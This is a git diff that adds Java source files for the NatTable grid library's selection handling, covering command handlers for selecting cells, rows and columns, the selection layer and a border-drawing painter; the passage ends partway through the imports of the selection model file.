a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/SelectCellCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/SelectCellCommandHandler.java new file mode 100644 index 0000000..d030a11 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/SelectCellCommandHandler.java @@ -0,0 +1,77 @@ +package net.sourceforge.nattable.selection; + +import static net.sourceforge.nattable.selection.SelectionUtils.isControlOnly; +import net.sourceforge.nattable.command.ILayerCommandHandler; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.selection.command.SelectCellCommand; + +import org.eclipse.swt.graphics.Rectangle; + +public class SelectCellCommandHandler implements ILayerCommandHandler { + + private final SelectionLayer selectionLayer; + + public SelectCellCommandHandler(SelectionLayer selectionLayer) { + this.selectionLayer = selectionLayer; + } + + public boolean doCommand(ILayer targetLayer, SelectCellCommand command) { + if (command.convertToTargetLayer(selectionLayer)) { + toggleCell(command.getColumnPosition(), command.getRowPosition(), command.isShiftMask(), command.isControlMask(), command.isForcingEntireCellIntoViewport()); + selectionLayer.fireCellSelectionEvent(command.getColumnPosition(), command.getRowPosition(), command.isForcingEntireCellIntoViewport(), command.isShiftMask(), command.isControlMask()); + return true; + } + return false; + } + + /** + * Toggles the selection state of the given row and column. + * @return false if the cell was unselected. + */ + protected void toggleCell(int columnPosition, int rowPosition, boolean withShiftMask, boolean withControlMask, boolean forcingEntireCellIntoViewport) { + boolean selectCell = true; + if (isControlOnly(withShiftMask, withControlMask)) { + if (selectionLayer.isCellPositionSelected(columnPosition, rowPosition)) { + selectionLayer.clearSelection(columnPosition, rowPosition); + selectCell = false; + } + } + if (selectCell) { + selectCell(columnPosition, rowPosition, withShiftMask, withControlMask); + } + } + + /** + * Selects a cell, optionally clearing current selection + */ + public void selectCell(int columnPosition, int rowPosition, boolean withShiftMask, boolean withControlMask) { + if (!withShiftMask && !withControlMask) { + selectionLayer.clear(); + } + selectionLayer.setLastSelectedCell(columnPosition, rowPosition); + + // Shift pressed + row selected + if (withShiftMask && selectionLayer.lastSelectedRegion != null && selectionLayer.hasRowSelection()) { + + selectionLayer.lastSelectedRegion.height = Math.abs(selectionLayer.selectionAnchor.rowPosition - rowPosition) + 1; + selectionLayer.lastSelectedRegion.y = Math.min(selectionLayer.selectionAnchor.rowPosition, rowPosition); + + selectionLayer.lastSelectedRegion.width = Math.abs(selectionLayer.selectionAnchor.columnPosition - columnPosition) + 1; + selectionLayer.lastSelectedRegion.x = Math.min(selectionLayer.selectionAnchor.columnPosition, columnPosition); + + selectionLayer.addSelection(selectionLayer.lastSelectedRegion); + } else { + selectionLayer.lastSelectedRegion = null; + Rectangle selection = null; + + selection = new Rectangle(selectionLayer.lastSelectedCell.columnPosition, selectionLayer.lastSelectedCell.rowPosition, 1, 1); + + selectionLayer.addSelection(selection); + } + } + + public Class getCommandClass() { + return SelectCellCommand.class; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/SelectColumnCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/SelectColumnCommandHandler.java new file mode 100644 index 0000000..e83ee67 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/SelectColumnCommandHandler.java @@ -0,0 +1,96 @@ +package net.sourceforge.nattable.selection; + +import static net.sourceforge.nattable.selection.SelectionUtils.bothShiftAndControl; +import static net.sourceforge.nattable.selection.SelectionUtils.isControlOnly; +import static net.sourceforge.nattable.selection.SelectionUtils.isShiftOnly; +import static net.sourceforge.nattable.selection.SelectionUtils.noShiftOrControl; + +import org.eclipse.swt.graphics.Rectangle; + +import net.sourceforge.nattable.command.ILayerCommandHandler; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.selection.command.SelectColumnCommand; +import net.sourceforge.nattable.selection.event.ColumnSelectionEvent; + +public class SelectColumnCommandHandler implements ILayerCommandHandler { + + private final SelectionLayer selectionLayer; + + public SelectColumnCommandHandler(SelectionLayer selectionLayer) { + this.selectionLayer = selectionLayer; + } + + public boolean doCommand(ILayer targetLayer, SelectColumnCommand command) { + if (command.convertToTargetLayer(selectionLayer)) { + selectColumn(command.getColumnPosition(), command.getRowPosition(), command.isWithShiftMask(), command.isWithControlMask()); + return true; + } + return false; + } + + protected void selectColumn(int columnPosition, int rowPosition, boolean withShiftMask, boolean withControlMask) { + if (noShiftOrControl(withShiftMask, withControlMask)) { + selectionLayer.clear(); + selectionLayer.selectCell(columnPosition, 0, false, false); + selectionLayer.selectRegion(columnPosition, 0, 1, selectionLayer.getRowCount()); + selectionLayer.moveSelectionAnchor(columnPosition, rowPosition); + } else if (bothShiftAndControl(withShiftMask, withControlMask)) { + selectColumnWithShiftKey(columnPosition); + } else if (isShiftOnly(withShiftMask, withControlMask)) { + selectColumnWithShiftKey(columnPosition); + } else if (isControlOnly(withShiftMask, withControlMask)) { + selectColumnWithCtrlKey(columnPosition, rowPosition); + } + + // Set last selected column position to the recently clicked column + selectionLayer.lastSelectedCell.columnPosition = columnPosition; + selectionLayer.lastSelectedCell.rowPosition = selectionLayer.getRowCount() - 1; + + selectionLayer.fireLayerEvent(new ColumnSelectionEvent(selectionLayer, columnPosition)); + } + + private void selectColumnWithCtrlKey(int columnPosition, int rowPosition) { + Rectangle selectedColumnRectangle = new Rectangle(columnPosition, 0, 1, selectionLayer.getRowCount()); + + if (selectionLayer.isColumnFullySelected(columnPosition)) { + selectionLayer.clearSelection(selectedColumnRectangle); + if(selectionLayer.lastSelectedRegion != null && selectionLayer.lastSelectedRegion.equals(selectedColumnRectangle)){ + selectionLayer.lastSelectedRegion = null; + } + }else{ + if(selectionLayer.lastSelectedRegion != null){ + selectionLayer.selectionModel.addSelection( + new Rectangle(selectionLayer.lastSelectedRegion.x, + selectionLayer.lastSelectedRegion.y, + selectionLayer.lastSelectedRegion.width, + selectionLayer.lastSelectedRegion.height)); + } + selectionLayer.selectRegion(columnPosition, 0, 1, selectionLayer.getRowCount()); + selectionLayer.moveSelectionAnchor(columnPosition, rowPosition); + } + } + + private void selectColumnWithShiftKey(int columnPosition) { + int numOfColumnsToIncludeInRegion = 1; + int startColumnPosition = columnPosition; + + if (selectionLayer.lastSelectedRegion != null) { + + // Negative when we move left, but we are only concerned with the num. of columns + numOfColumnsToIncludeInRegion = Math.abs(selectionLayer.selectionAnchor.columnPosition - columnPosition) + 1; + + // Select to the Left + if (columnPosition < selectionLayer.selectionAnchor.columnPosition) { + startColumnPosition = columnPosition; + } else { + startColumnPosition = selectionLayer.selectionAnchor.columnPosition; + } + } + selectionLayer.selectRegion(startColumnPosition, 0, numOfColumnsToIncludeInRegion, selectionLayer.getRowCount()); + } + + public Class getCommandClass() { + return SelectColumnCommand.class; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/SelectRowCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/SelectRowCommandHandler.java new file mode 100644 index 0000000..791afb9 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/SelectRowCommandHandler.java @@ -0,0 +1,123 @@ +package net.sourceforge.nattable.selection; + +import static net.sourceforge.nattable.selection.SelectionUtils.bothShiftAndControl; +import static net.sourceforge.nattable.selection.SelectionUtils.isControlOnly; +import static net.sourceforge.nattable.selection.SelectionUtils.isShiftOnly; +import static net.sourceforge.nattable.selection.SelectionUtils.noShiftOrControl; + +import java.util.Collection; +import java.util.HashSet; +import java.util.Set; + +import net.sourceforge.nattable.command.ILayerCommandHandler; +import net.sourceforge.nattable.coordinate.Range; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.selection.command.SelectRowsCommand; +import net.sourceforge.nattable.selection.event.RowSelectionEvent; + +import org.eclipse.swt.graphics.Rectangle; + +public class SelectRowCommandHandler implements ILayerCommandHandler { + + private final SelectionLayer selectionLayer; + + public SelectRowCommandHandler(SelectionLayer selectionLayer) { + this.selectionLayer = selectionLayer; + } + + public boolean doCommand(ILayer targetLayer, SelectRowsCommand command) { + if (command.convertToTargetLayer(selectionLayer)) { + selectRows(command.getColumnPosition(), command.getRowPositions(), command.isWithShiftMask(), command.isWithControlMask()); + return true; + } + return false; + } + + protected void selectRows(int columnPosition, Collection rowPositions, boolean withShiftMask, boolean withControlMask) { + Set changedRowRanges = new HashSet(); + + for (int rowPosition : rowPositions) { + changedRowRanges.addAll(internalSelectRow(columnPosition, rowPosition, withShiftMask, withControlMask)); + } + + Set changedRows = new HashSet(); + for (Range range : changedRowRanges) { + for (int i = range.start; i < range.end; i++) { + changedRows.add(Integer.valueOf(i)); + } + } + selectionLayer.fireLayerEvent(new RowSelectionEvent(selectionLayer, changedRows)); + } + + private Set internalSelectRow(int columnPosition, int rowPosition, boolean withShiftMask, boolean withControlMask) { + Set changedRowRanges = new HashSet(); + + if (noShiftOrControl(withShiftMask, withControlMask)) { + changedRowRanges.addAll(selectionLayer.getSelectedRows()); + selectionLayer.clear(); + selectionLayer.selectCell(0, rowPosition, withShiftMask, withControlMask); + selectionLayer.selectRegion(0, rowPosition, selectionLayer.getColumnCount(), 1); + selectionLayer.moveSelectionAnchor(columnPosition, rowPosition); + changedRowRanges.add(new Range(rowPosition, rowPosition + 1)); + } else if (bothShiftAndControl(withShiftMask, withControlMask)) { + changedRowRanges.add(selectRowWithShiftKey(rowPosition)); + } else if (isShiftOnly(withShiftMask, withControlMask)) { + changedRowRanges.add(selectRowWithShiftKey(rowPosition)); + } else if (isControlOnly(withShiftMask, withControlMask)) { + changedRowRanges.add(selectRowWithCtrlKey(columnPosition, rowPosition)); + } + + selectionLayer.lastSelectedCell.columnPosition = selectionLayer.getColumnCount() - 1; + selectionLayer.lastSelectedCell.rowPosition = rowPosition; + + return changedRowRanges; + } + + private Range selectRowWithCtrlKey(int columnPosition, int rowPosition) { + Rectangle selectedRowRectangle = new Rectangle(0, rowPosition, selectionLayer.getColumnCount(), 1); + + if (selectionLayer.isRowFullySelected(rowPosition)) { + selectionLayer.clearSelection(selectedRowRectangle); + if (selectionLayer.lastSelectedRegion != null && selectionLayer.lastSelectedRegion.equals(selectedRowRectangle)) { + selectionLayer.lastSelectedRegion = null; + } + } else { + // Preserve last selected region + if (selectionLayer.lastSelectedRegion != null) { + selectionLayer.selectionModel.addSelection( + new Rectangle(selectionLayer.lastSelectedRegion.x, + selectionLayer.lastSelectedRegion.y, + selectionLayer.lastSelectedRegion.width, + selectionLayer.lastSelectedRegion.height)); + } + selectionLayer.selectRegion(0, rowPosition, selectionLayer.getColumnCount(), 1); + selectionLayer.moveSelectionAnchor(columnPosition, rowPosition); + } + + return new Range(rowPosition, rowPosition + 1); + } + + private Range selectRowWithShiftKey(int rowPosition) { + int numOfRowsToIncludeInRegion = 1; + int startRowPosition = rowPosition; + + if (selectionLayer.lastSelectedRegion != null) { + numOfRowsToIncludeInRegion = Math.abs(selectionLayer.selectionAnchor.rowPosition - rowPosition) + 1; + if (startRowPosition < selectionLayer.selectionAnchor.rowPosition) { + // Selecting above + startRowPosition = rowPosition; + } else { + // Selecting below + startRowPosition = selectionLayer.selectionAnchor.rowPosition; + } + } + selectionLayer.selectRegion(0, startRowPosition, selectionLayer.getColumnCount(), numOfRowsToIncludeInRegion); + + return new Range(startRowPosition, startRowPosition + numOfRowsToIncludeInRegion); + } + + public Class getCommandClass() { + return SelectRowsCommand.class; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/Selectable.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/Selectable.java new file mode 100644 index 0000000..4785483 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/Selectable.java @@ -0,0 +1,19 @@ +package net.sourceforge.nattable.selection; + +import net.sourceforge.nattable.coordinate.PositionCoordinate; +import net.sourceforge.nattable.layer.ILayer; + +/** + * Indicates an {@link ILayer} that supports the selection of individual cells. Classes should implement this interface + * if they need to customize selection logic. + */ +public interface Selectable { + + /** + * Determine if a cell at a given position is selected. + * + * @param p cell to query + * @return true if the given cell is selected + */ + public boolean isSelected(PositionCoordinate p); +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/SelectionLayer.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/SelectionLayer.java new file mode 100644 index 0000000..26fe160 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/SelectionLayer.java @@ -0,0 +1,397 @@ +package net.sourceforge.nattable.selection; + +import java.util.Arrays; +import java.util.LinkedList; +import java.util.List; +import java.util.Set; + +import net.sourceforge.nattable.command.ILayerCommand; +import net.sourceforge.nattable.coordinate.PositionCoordinate; +import net.sourceforge.nattable.coordinate.Range; +import net.sourceforge.nattable.copy.command.CopyDataCommandHandler; +import net.sourceforge.nattable.edit.command.EditSelectionCommandHandler; +import net.sourceforge.nattable.grid.command.InitializeAutoResizeColumnsCommandHandler; +import net.sourceforge.nattable.grid.command.InitializeAutoResizeRowsCommandHandler; +import net.sourceforge.nattable.hideshow.command.ColumnHideCommand; +import net.sourceforge.nattable.hideshow.command.MultiColumnHideCommand; +import net.sourceforge.nattable.layer.AbstractLayerTransform; +import net.sourceforge.nattable.layer.IUniqueIndexLayer; +import net.sourceforge.nattable.layer.LabelStack; +import net.sourceforge.nattable.painter.layer.ILayerPainter; +import net.sourceforge.nattable.resize.command.ColumnResizeCommand; +import net.sourceforge.nattable.resize.command.MultiColumnResizeCommand; +import net.sourceforge.nattable.resize.command.MultiRowResizeCommand; +import net.sourceforge.nattable.resize.command.RowResizeCommand; +import net.sourceforge.nattable.search.command.SearchGridCellsCommandHandler; +import net.sourceforge.nattable.selection.command.ClearAllSelectionsCommand; +import net.sourceforge.nattable.selection.command.SelectAllCommand; +import net.sourceforge.nattable.selection.config.DefaultSelectionLayerConfiguration; +import net.sourceforge.nattable.selection.event.CellSelectionEvent; +import net.sourceforge.nattable.selection.event.SelectionLayerStructuralChangeEventHandler; +import net.sourceforge.nattable.style.DisplayMode; +import net.sourceforge.nattable.style.SelectionStyleLabels; + +import org.eclipse.swt.graphics.Rectangle; + +/** + * Enables selection of column, rows, cells etc. on the table. + * Also responds to UI bindings by changing the current selection. + * Internally it uses the {@link ISelectionModel} to track the selection state.
    + * + * @see DefaultSelectionLayerConfiguration + * @see MoveDirectionEnum + */ +public class SelectionLayer extends AbstractLayerTransform implements IUniqueIndexLayer { + + public static final int MOVE_ALL = -1; + private static final int NO_SELECTION = -1; + + public enum MoveDirectionEnum { + UP, DOWN, LEFT, RIGHT, NONE; + } + + protected ISelectionModel selectionModel; + protected IUniqueIndexLayer underlyingLayer; + protected final PositionCoordinate lastSelectedCell; + protected final PositionCoordinate selectionAnchor; + protected Rectangle lastSelectedRegion; + + private final SelectRowCommandHandler selectRowCommandHandler; + private final SelectCellCommandHandler selectCellCommandHandler; + private final SelectColumnCommandHandler selectColumnCommandHandler; + + public SelectionLayer(IUniqueIndexLayer underlyingLayer) { + this(underlyingLayer, new SelectionModel(), true); + } + + public SelectionLayer(IUniqueIndexLayer underlyingLayer, boolean useDefaultConfiguration) { + this(underlyingLayer, new SelectionModel(), useDefaultConfiguration); + } + + public SelectionLayer(IUniqueIndexLayer underlyingLayer, ISelectionModel selectionModel, boolean useDefaultConfiguration) { + super(underlyingLayer); + this.underlyingLayer = underlyingLayer; + + setLayerPainter(new SelectionLayerPainter()); + + this.selectionModel = selectionModel; + + lastSelectedCell = new PositionCoordinate(this, NO_SELECTION, NO_SELECTION); + selectionAnchor = new PositionCoordinate(this, NO_SELECTION, NO_SELECTION); + + selectRowCommandHandler = new SelectRowCommandHandler(this); + selectCellCommandHandler = new SelectCellCommandHandler(this); + selectColumnCommandHandler = new SelectColumnCommandHandler(this); + + registerCommandHandlers(); + + registerEventHandler(new SelectionLayerStructuralChangeEventHandler(this, selectionModel)); + + if (useDefaultConfiguration) { + addConfiguration(new DefaultSelectionLayerConfiguration()); + } + } + + public void setSelectionModel(ISelectionModel selectionModel) { + this.selectionModel = selectionModel; + } + + @Override + public ILayerPainter getLayerPainter() { + return layerPainter; + } + + public int getColumnPositionByIndex(int columnIndex) { + return underlyingLayer.getColumnPositionByIndex(columnIndex); + } + + // Column features + + public boolean hasColumnSelection() { + return lastSelectedCell.columnPosition != NO_SELECTION; + } + + public boolean isColumnPositionSelected(int columnPosition) { + return selectionModel.isColumnPositionSelected(columnPosition); + } + + public int[] getSelectedColumns() { + return selectionModel.getSelectedColumns(); + } + + public int[] getFullySelectedColumnPositions(){ + return selectionModel.getFullySelectedColumns(getRowCount()); + } + + public int[] getFullySelectedColumns() { + return selectionModel.getFullySelectedColumns(getRowCount()); + } + + public boolean isColumnFullySelected(int columnPosition) { + return selectionModel.isColumnFullySelected(columnPosition, getRowCount()); + } + + public void selectColumn(int columnPosition, int rowPosition, boolean withShiftMask, boolean withControlMask){ + selectColumnCommandHandler.selectColumn(columnPosition, rowPosition, withShiftMask, withControlMask); + } + + // Cell features + + public boolean isCellPositionSelected(int columnPosition, int rowPosition) { + return selectionModel.isCellPositionSelected(columnPosition, rowPosition); + } + + public void setSelectedCell(int columnPosition, int rowPosition) { + selectCell(columnPosition, rowPosition, false, false); + } + + /** + * When extending a selected area we need to start adding cells from the last selected cell. + * If we are not extending a selection we need to move from the selection anchor. + */ + protected PositionCoordinate getCellPositionToMoveFrom(boolean withShiftMask, boolean withControlMask) { + return (!withShiftMask && !withControlMask) ? getSelectionAnchor() : getLastSelectedCellPosition(); + } + + public PositionCoordinate[] getSelectedCells() { + int[] selectedColumnPositions = getSelectedColumns(); + Set selectedRowPositions = getSelectedRows(); + + List selectedCells = new LinkedList(); + + for (int columnPositionIndex = 0; columnPositionIndex < selectedColumnPositions.length; columnPositionIndex++) { + final int columnPosition = selectedColumnPositions[columnPositionIndex]; + + for (Range rowIndexRange : selectedRowPositions) { + for (int rowPositionIndex = rowIndexRange.start; rowPositionIndex < rowIndexRange.end; rowPositionIndex++) { + if (selectionModel.isCellPositionSelected(columnPosition, rowPositionIndex)) { + selectedCells.add(new PositionCoordinate(this, columnPosition, rowPositionIndex)); + } + } + } + } + return selectedCells.toArray(new PositionCoordinate[0]); + } + + /** + * Calculates the selected cells - taking into account Shift and Ctrl key presses. + */ + public void selectCell(int columnPosition, int rowPosition, boolean withShiftMask, boolean withControlMask) { + selectCellCommandHandler.selectCell(columnPosition, rowPosition, withShiftMask, withControlMask); + } + + public PositionCoordinate getSelectionAnchor() { + return selectionAnchor; + } + + public PositionCoordinate getLastSelectedCellPosition() { + if (lastSelectedCell.columnPosition != NO_SELECTION && lastSelectedCell.rowPosition != NO_SELECTION) { + return lastSelectedCell; + } else { + return null; + } + } + + protected void setLastSelectedCell(int columnPosition, int rowPosition) { + lastSelectedCell.columnPosition = columnPosition; + lastSelectedCell.rowPosition = rowPosition; + } + + // Row features + + public boolean hasRowSelection() { + return lastSelectedCell.rowPosition != NO_SELECTION; + } + + public boolean isRowPositionSelected(int rowPosition) { + return selectionModel.isRowPositionSelected(rowPosition); + } + + public boolean isRowFullySelected(int rowPosition) { + return selectionModel.isRowFullySelected(rowPosition, getColumnCount()); + } + + public Set getSelectedRows() { + return selectionModel.getSelectedRows(); + } + + public int[] getFullySelectedRowPositions() { + return selectionModel.getFullySelectedRows(getColumnCount()); + } + + protected ISelectionModel getSelectionModel() { + return selectionModel; + } + + public int getSelectedRowCount() { + return selectionModel.getSelectedRowCount(); + } + + public void selectRow(int columnPosition, int rowPosition, boolean withShiftMask, boolean withControlMask) { + selectRowCommandHandler.selectRows(columnPosition, Arrays.asList(Integer.valueOf(rowPosition)), withShiftMask, withControlMask); + } + + // Clear features + + public void clear() { + selectionModel.clearSelection(); + lastSelectedCell.columnPosition = -1; + lastSelectedCell.rowPosition = -1; + lastSelectedRegion = new Rectangle(0,0,0,0); + selectionAnchor.columnPosition = -1; + selectionAnchor.rowPosition = -1; + } + + protected void clearSelection(int columnPosition, int rowPosition) { + selectionModel.removeSelection(columnPosition, rowPosition); + } + + protected void clearSelection(Rectangle selection) { + selectionModel.removeSelection(selection); + } + + protected void addSelection(Rectangle selection) { + if (selection != lastSelectedRegion) { + selectionAnchor.columnPosition = lastSelectedCell.columnPosition; + selectionAnchor.rowPosition = lastSelectedCell.rowPosition; + + lastSelectedRegion = selection; + } + + selectionModel.addSelection(selection); + } + + public void selectAll() { + Rectangle selection = new Rectangle(0, 0, getColumnCount(), getRowCount()); + addSelection(selection); + fireCellSelectionEvent(lastSelectedCell.columnPosition, lastSelectedCell.rowPosition, false, false, false); + } + + // ILayer methods + + public int getRowPositionByIndex(int rowIndex) { + return underlyingLayer.getRowPositionByIndex(rowIndex); + } + + @Override + public String getDisplayModeByPosition(int columnPosition, int rowPosition) { + if (isCellPositionSelected(columnPosition, rowPosition)) { + return DisplayMode.SELECT; + } else { + return super.getDisplayModeByPosition(columnPosition, rowPosition); + } + } + + @Override + public LabelStack getConfigLabelsByPosition(int columnPosition, int rowPosition) { + LabelStack labelStack = super.getConfigLabelsByPosition(columnPosition, rowPosition); + + if (selectionAnchor.columnPosition == columnPosition && selectionAnchor.rowPosition == rowPosition) { + labelStack.addLabel(SelectionStyleLabels.SELECTION_ANCHOR_STYLE); + } + + return labelStack; + } + + // Command handling + + private void registerCommandHandlers() { + // Command handlers also registered by the DefaultSelectionLayerConfiguration + registerCommandHandler(selectCellCommandHandler); + registerCommandHandler(selectRowCommandHandler); + registerCommandHandler(selectColumnCommandHandler); + + registerCommandHandler(new EditSelectionCommandHandler(this)); + registerCommandHandler(new InitializeAutoResizeColumnsCommandHandler(this)); + registerCommandHandler(new InitializeAutoResizeRowsCommandHandler(this)); + registerCommandHandler(new CopyDataCommandHandler(this)); + registerCommandHandler(new SearchGridCellsCommandHandler(this)); + } + + @Override + public boolean doCommand(ILayerCommand command) { + if (command instanceof SelectAllCommand && command.convertToTargetLayer(this)) { + selectAll(); + return true; + } else if (command instanceof ClearAllSelectionsCommand && command.convertToTargetLayer(this)) { + clear(); + return true; + } else if (command instanceof MultiColumnHideCommand && command.convertToTargetLayer(this)) { + return hideMultipleColumnPositions((MultiColumnHideCommand)command); + } else if (command instanceof ColumnHideCommand && command.convertToTargetLayer(this)) { + return hideColumnPosition((ColumnHideCommand)command); + } else if (command instanceof ColumnResizeCommand && command.convertToTargetLayer(this)) { + return handleColumnResizeCommand((ColumnResizeCommand) command); + } else if (command instanceof RowResizeCommand && command.convertToTargetLayer(this)) { + return handleRowResizeCommand((RowResizeCommand) command); + } + return super.doCommand(command); + } + + /** + * Any selected columns will be hidden. A column is considered selected even if a cell is selected. + */ + protected boolean hideMultipleColumnPositions(MultiColumnHideCommand command) { + for (int columnPosition : command.getColumnPositions()) { + if (isColumnFullySelected(columnPosition)) { + Rectangle selection = new Rectangle(columnPosition, 0, 1, getRowCount()); + clearSelection(selection); + } + } + return super.doCommand(command); + } + + protected boolean hideColumnPosition(ColumnHideCommand command) { + if (isColumnFullySelected(command.getColumnPosition())) { + return super.doCommand(new MultiColumnHideCommand(this, getFullySelectedColumnPositions())); + } else { + return super.doCommand(command); + } + } + + /** + * This method will check to see if the column to resize is part of the selection model, if it is, it will create a + * new MultiResizeColumnCommand and pass it. + * @param command + */ + protected boolean handleColumnResizeCommand(ColumnResizeCommand command) { + if (isColumnFullySelected(command.getColumnPosition())) { + return super.doCommand(new MultiColumnResizeCommand(this, selectionModel.getFullySelectedColumns(getRowCount()), command.getNewColumnWidth())); + } else { + return super.doCommand(command); + } + } + + protected boolean handleRowResizeCommand(RowResizeCommand command) { + if (isRowFullySelected(command.getRowPosition())) { + return super.doCommand(new MultiRowResizeCommand(this, selectionModel.getFullySelectedRows(getColumnCount()), command.getNewHeight())); + } else { + return super.doCommand(command); + } + } + + protected void selectRegion(int startColumnPosition, int startRowPosition, int regionWidth, int regionHeight) { + if (lastSelectedRegion == null) { + lastSelectedRegion = new Rectangle(startColumnPosition, startRowPosition, regionWidth, regionHeight); + } else { + lastSelectedRegion.x = startColumnPosition; + lastSelectedRegion.y = startRowPosition; + lastSelectedRegion.width = regionWidth; + lastSelectedRegion.height = regionHeight; + } + selectionModel.addSelection(lastSelectedRegion); + } + + public void moveSelectionAnchor(int startColumnPositionInRegion, int startRowPosition) { + selectionAnchor.columnPosition = startColumnPositionInRegion; + selectionAnchor.rowPosition = startRowPosition; + } + + public void fireCellSelectionEvent(int columnPosition, int rowPosition, + boolean forcingEntireCellIntoViewport, boolean withShiftMask, boolean withControlMask) { + + final CellSelectionEvent selectionEvent = new CellSelectionEvent(this, columnPosition, rowPosition, + forcingEntireCellIntoViewport, withShiftMask, withControlMask); + fireLayerEvent(selectionEvent); + } +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/SelectionLayerPainter.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/SelectionLayerPainter.java new file mode 100644 index 0000000..a2fcde9 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/SelectionLayerPainter.java @@ -0,0 +1,130 @@ +package net.sourceforge.nattable.selection; + +import java.util.HashMap; +import java.util.Map; + +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.coordinate.PositionCoordinate; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.painter.layer.GridLineCellLayerPainter; +import net.sourceforge.nattable.style.DisplayMode; +import net.sourceforge.nattable.util.GUIHelper; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Rectangle; + +public class SelectionLayerPainter extends GridLineCellLayerPainter { + + private int columnPositionOffset; + + private int rowPositionOffset; + + private Map cells; + + @Override + public void paintLayer(ILayer natLayer, GC gc, int xOffset, int yOffset, Rectangle pixelRectangle, IConfigRegistry configRegistry) { + Rectangle positionRectangle = getPositionRectangleFromPixelRectangle(natLayer, pixelRectangle); + columnPositionOffset = positionRectangle.x; + rowPositionOffset = positionRectangle.y; + cells = new HashMap(); + + super.paintLayer(natLayer, gc, xOffset, yOffset, pixelRectangle, configRegistry); + + // Save gc settings + int originalLineStyle = gc.getLineStyle(); + Color originalForeground = gc.getForeground(); + + // Apply border settings + gc.setLineStyle(SWT.LINE_CUSTOM); + gc.setLineDash(new int[] { 1, 1 }); + gc.setForeground(GUIHelper.COLOR_BLACK); + + // Draw horizontal borders + boolean selectedMode = false; + for (int columnPosition = columnPositionOffset; columnPosition < columnPositionOffset + positionRectangle.width; columnPosition++) { + LayerCell cell = null; + for (int rowPosition = rowPositionOffset; rowPosition < rowPositionOffset + positionRectangle.height; rowPosition++) { + cell = cells.get(new PositionCoordinate(natLayer, columnPosition, rowPosition)); + if (cell != null) { + if (selectedMode != isSelected(cell)) { + selectedMode = !selectedMode; + Rectangle cellBounds = cell.getBounds(); + // Draw top edge + gc.drawLine( + cellBounds.x - 1, + cellBounds.y - 1, + cellBounds.x + cellBounds.width - 1, + cellBounds.y - 1 + ); + } + } + } + if (selectedMode && cell != null) { + // If last cell is selected, draw its bottom edge + Rectangle cellBounds = cell.getBounds(); + gc.drawLine( + cellBounds.x - 1, + cellBounds.y + cellBounds.height - 1, + cellBounds.x + cellBounds.width - 1, + cellBounds.y + cellBounds.height - 1 + ); + } + selectedMode = false; + } + + // Draw vertical borders + for (int rowPosition = rowPositionOffset; rowPosition < rowPositionOffset + positionRectangle.height; rowPosition++) { + LayerCell cell = null; + for (int columnPosition = columnPositionOffset; columnPosition < columnPositionOffset + positionRectangle.width; columnPosition++) { + cell = cells.get(new PositionCoordinate(natLayer, columnPosition, rowPosition)); + if (cell != null) { + if (selectedMode != isSelected(cell)) { + selectedMode = !selectedMode; + Rectangle cellBounds = cell.getBounds(); + // Draw left edge + gc.drawLine( + cellBounds.x - 1, + cellBounds.y - 1, + cellBounds.x - 1, + cellBounds.y + cellBounds.height - 1 + ); + } + } + } + if (selectedMode && cell != null) { + // If last cell is selected, draw its right edge + Rectangle cellBounds = cell.getBounds(); + gc.drawLine( + cellBounds.x + cellBounds.width - 1, + cellBounds.y - 1, + cellBounds.x + cellBounds.width - 1, + cellBounds.y + cellBounds.height - 1 + ); + } + selectedMode = false; + } + + // Restore original gc settings + gc.setLineStyle(originalLineStyle); + gc.setForeground(originalForeground); + } + + @Override + protected void paintCell(LayerCell cell, GC gc, IConfigRegistry configRegistry) { + for (int columnPosition = cell.getColumnPosition(); columnPosition < cell.getColumnPosition() + cell.getColumnSpan(); columnPosition++) { + for (int rowPosition = cell.getRowPosition(); rowPosition < cell.getRowPosition() + cell.getRowSpan(); rowPosition++) { + cells.put(new PositionCoordinate(cell.getLayer(), columnPosition, rowPosition), cell); + } + } + + super.paintCell(cell, gc, configRegistry); + } + + private boolean isSelected(LayerCell cell) { + return cell.getDisplayMode() == DisplayMode.SELECT; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/SelectionModel.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/SelectionModel.java new file mode 100644 index 0000000..da3f11f --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/SelectionModel.java @@ -0,0 +1,507 @@ +package net.sourceforge.nattable.selection; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.Comparator; +import java.util.HashSet; +import java.util.LinkedList; +import java.util.List; +import java.util.Set; +import java.util.TreeSet; +import java.util.concurrent.locks.ReadWriteLock; +import java.util.concurrent.locks.ReentrantReadWriteLock; + +import 